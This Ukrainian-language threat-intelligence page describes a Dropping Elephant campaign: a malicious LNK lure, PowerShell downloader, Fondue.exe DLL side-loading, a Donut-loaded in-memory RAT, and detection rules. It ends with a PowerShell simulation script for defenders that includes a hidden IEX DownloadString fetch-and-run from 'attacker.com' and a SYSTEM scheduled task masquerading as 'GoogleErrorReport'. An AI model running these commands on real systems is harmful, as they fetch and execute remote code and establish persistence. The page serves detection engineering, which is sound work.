Шкідливе ПЗ à la Mode: всередині ланцюга завантажувачів Dropping Elephant
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Вишукана кампанія, приписувана Dropping Elephant, використовує документи-приманки з китайською тематикою для доставки оновленого трояна віддаленого доступу, який зберігається в пам’яті. Вторгнення покладається на завантаження DLL через легітимний бінарний файл Microsoft та завантажувач Donut shellcode, щоб уникнути виявлення на диску. Кінцеве навантаження також використовує передові методи ухилення, включаючи вирівнювання потоку управління та реконструкцію API під час виконання.
Розслідування
Дослідники Rapid7 виявили загрозу під час проактивного полювання, яке почалося з шкідливого ярлика Windows, який маскувався під PDF-документ. Їхнє розслідування відстежило ланцюг завантаження з початкової постановки на chinagreenenergy[.]org через завантаження DLL з APPWIZ.cpl до виконання трояна в пам’яті. Аналіз на рівні коду з Diaphora підтвердив спільне походження з ранніми зразками Dropping Elephant, незважаючи на значну переробку.
Пом’якшення
Захисникам слід приділити пріоритет поведінковим виявленням, таким як ярлики, що запускають PowerShell, і підозріла постановка навантажень у C:UsersPublic. Моніторинг планових завдань з незвичними іменами та визначення завантаження DLL з неочікуваних директорій також важливі. Крім того, завдання захисту кінцевих точок повинні бути видимими на рівні пам’яті для виявлення маніпуляцій з AMSI, WLDP і ETW.
Реакція
Якщо ця активність виявлена, негайно ізолюйте уражені системи, щоб порушити подальший трафік команди і контролю. Виконайте форензіку пам’яті, щоб виявити ін’єкцію трояна, і перевірте планові завдання на стійкість. Також слід переглянути журнали мережі на несанкціонований HTTPS-трафік до відомих доменів C2 та будь-які ознаки ексфільтрації файлів.
graph TB %% Визначення класів classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef network fill:#ffff99 %% Визначення вузлів %% Початковий доступ і виконання action_user_exec[“<b>Дія</b> – <b>T1204.002 Виконання користувачем: Шкідливий файл</b><br/>Жертва запускає шкідливий файл-ярлик<br/><b>Файл</b>: GRES3001.lnk<br/><b>Маскування</b>: іконка PDF”] class action_user_exec action action_icon_smuggling[“<b>Дія</b> – <b>T1027.012 Обфусковані файли або інформація: Приховування через іконку LNK</b><br/>Вводить користувача в оману шляхом підміни іконки<br/><b>Метод</b>: підробка іконки LNK-файлу”] class action_icon_smuggling action %% Етап завантажувача process_conhost[“<b>Процес</b> – <b>conhost.exe</b><br/>Хост-процес для консольних вікон<br/><b>Роль</b>: ініціює PowerShell-завантажувач”] class process_conhost process action_binary_padding[“<b>Дія</b> – <b>T1027.001 Обфусковані файли або інформація: Доповнення бінарних даних</b><br/>Використовує обфускацію через розбиття рядків<br/><b>Ціль</b>: скрипт PowerShell-завантажувача”] class action_binary_padding action tool_downloader[“<b>Інструмент</b> – <b>PowerShell-завантажувач</b><br/>Завантажує приманки та шкідливі корисні навантаження<br/><b>Джерело</b>: chinagreenenergy[.]org”] class tool_downloader tool %% Після завантаження та закріплення action_masquerading[“<b>Дія</b> – <b>T1036.008 Маскування: Маскування типу файлу</b><br/>Перейменовує файли, щоб вони виглядали легітимними<br/><b>Каталог</b>: C:\\Users\\Public\\”] class action_masquerading action action_persistence[“<b>Дія</b> – <b>T1546 Виконання за подією</b><br/>Забезпечує закріплення через заплановане завдання<br/><b>Назва завдання</b>: GoogleErrorReport<br/><b>Інтервал</b>: щохвилини”] class action_persistence action %% Ланцюг виконання та сайдлоадинг action_proxy_exec[“<b>Дія</b> – <b>T1218.002 Проксі-виконання через системний бінарний файл: Панель керування</b><br/>Використовує легітимний бінарний файл для запуску завантажувача<br/><b>Бінарний файл</b>: Fondue.exe”] class action_proxy_exec action tool_loader_cpl[“<b>Інструмент</b> – <b>APPWIZ.cpl</b><br/>Шкідливий завантажувач Панелі керування<br/><b>Метод</b>: DLL Side-loading”] class tool_loader_cpl tool action_reflective_load[“<b>Дія</b> – <b>T1620 Рефлексивне завантаження коду</b><br/>Відображає код безпосередньо в пам’ять<br/><b>Завантажувач</b>: завантажувач shellcode Donut”] class action_reflective_load action %% Післяексплуатаційна активність і C2 malware_rat[“<b>Шкідливе ПЗ</b> – <b>RAT</b><br/>Троян віддаленого доступу<br/><b>Стан</b>: резидентно працює в пам’яті”] class malware_rat malware action_gather_info[“<b>Дія</b> – <b>T1592 Збір інформації про хост жертви</b><br/>Збирає системні метадані<br/><b>Дані</b>: ім’я користувача, ім’я комп’ютера, операційна система, IP-адреса”] class action_gather_info action action_c2[“<b>Дія</b> – <b>TA0011 Командування та контроль</b><br/>Підтримує зв’язок через HTTPS<br/><b>Домен</b>: gcl-power[.]org”] class action_c2 action action_exfiltration[“<b>Дія</b> – <b>Захоплення екрана та ексфільтрація</b><br/>T1113 Захоплення екрана<br/><b>Мета</b>: викрадення даних”] class action_exfiltration action %% Потік зв’язків action_user_exec –>|призводить_до| action_icon_smuggling action_icon_smuggling –>|запускає| process_conhost process_conhost –>|використовує| action_binary_padding action_binary_padding –>|виконує| tool_downloader tool_downloader –>|завантажує_до| action_masquerading action_masquerading –>|налаштовує| action_persistence action_persistence –>|активує| action_proxy_exec action_proxy_exec –>|завантажує| tool_loader_cpl tool_loader_cpl –>|використовує| action_reflective_load action_reflective_load –>|встановлює| malware_rat malware_rat –>|виконує| action_gather_info malware_rat –>|встановлює| action_c2 action_c2 –>|сприяє| action_exfiltration
Потік атаки
Виявлення
Можлива спроба зв’язку з доменом пошукового запиту IP (через DNS)
Переглянути
Незвичайна зміна коду сторінки (через cmdline)
Переглянути
Підозріле заплановане завдання (через аудит)
Переглянути
Підозріле виконання з загального профілю користувача (через процес_створення)
Переглянути
Бібліотека Vcruntime140 завантажена з підозрілої директорії (через завантаження зображення)
Переглянути
Підозрілі файли в загальному профілі користувача (через file_event)
Переглянути
Виявлення кампанії Dropping Elephant [Мережеве з’єднання Windows]
Переглянути
Шкідливе завантаження DLL через Fondue.exe [Файловий захід Windows]
Переглянути
Виявлення кампанії Dropping Elephant через ярлик та завантаження [Створення процесу Windows]
Переглянути
Виконання симуляції
Необхідна умова: Перевірка телеметрії та базової лінії повинна пройти.
Обґрунтування: У цьому розділі детально описано точне виконання техніки супротивника (TTP), що призначена для активації правила виявлення. Команди та розповідь ПОВИННІ точно відображати визначені TTP та мають на меті створити точну телеметрію, яку очікує логіка виявлення.
-
Опис атаки та команди: Супротивник має на меті встановити стійкість та виконати завантажувач. Щоб обійти стандартні фільтри електронної пошти, вони використовують ярлик під назвою
GRES3001.lnk, що виглядає як PDF. Коли на нього натискають, він викликаєconhost.exeдля запуску скрипту PowerShell. Одночасно вони встановлюють стійкість, створюючи заплановане завдання під назвоюGoogleErrorReport, яке призначено для запускуFondue.exeз загальної директорії, маскуючись під легітимний репортер помилок Google, щоб уникнути поверхневого огляду. -
Сценарій регресійного тестування:
# 1. Симулюємо поведінку Ярлика/Conhost # Ми симулюємо виконання conhost.exe зі специфічним рядком у командному рядку Start-Process "conhost.exe" -ArgumentList "/c PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" # Примітка: Щоб строго відповідати 'CommandLine contains GRES3001.lnk', ми симулюємо виклик процесу так, ніби він походить з цього файлу. # Оскільки ми не можемо легко підробити ім'я батьківського процесу в простому скрипті, ми симулюємо цільовий рядок команд. Write-Host "[!] Симулюємо тригер GRES3001.lnk..." $SimulatedCmd = "conhost.exe /c GRES3001.lnk PowerShell.exe -Command Write-Host 'Malware Loaded'" # У реальному середовищі поле 'CommandLine' у Sysmon міститиме цільовий рядок. # 2. Симуляція запланованого завдання та завантаження Fondue.exe Write-Host "[!] Симулюємо заплановане завдання GoogleErrorReport..." New-Item -Path "C:UsersPublicFondue.exe" -ItemType File -Force Set-Content -Path "C:UsersPublicFondue.exe" -Value "Dummy Payload" $TaskName = "GoogleErrorReport" $Action = New-ScheduledTaskAction -Execute "C:UsersPublicFondue.exe" Register-ScheduledTask -Action $Action -TaskName $TaskName -Description "Simulated Dropping Elephant Task" -User "SYSTEM" -Force Write-Host "[+] Симуляція завершена. Перевірте SIEM на наявність попереджень." -
Команди очищення:
# Видалити фіктивний шкідливий бінарник Remove-Item -Path "C:UsersPublicFondue.exe" -Force # Видалити шкідливе заплановане завдання Unregister-ScheduledTask -TaskName "GoogleErrorReport" -Confirm:$false Write-Host "[+] Очищення завершено."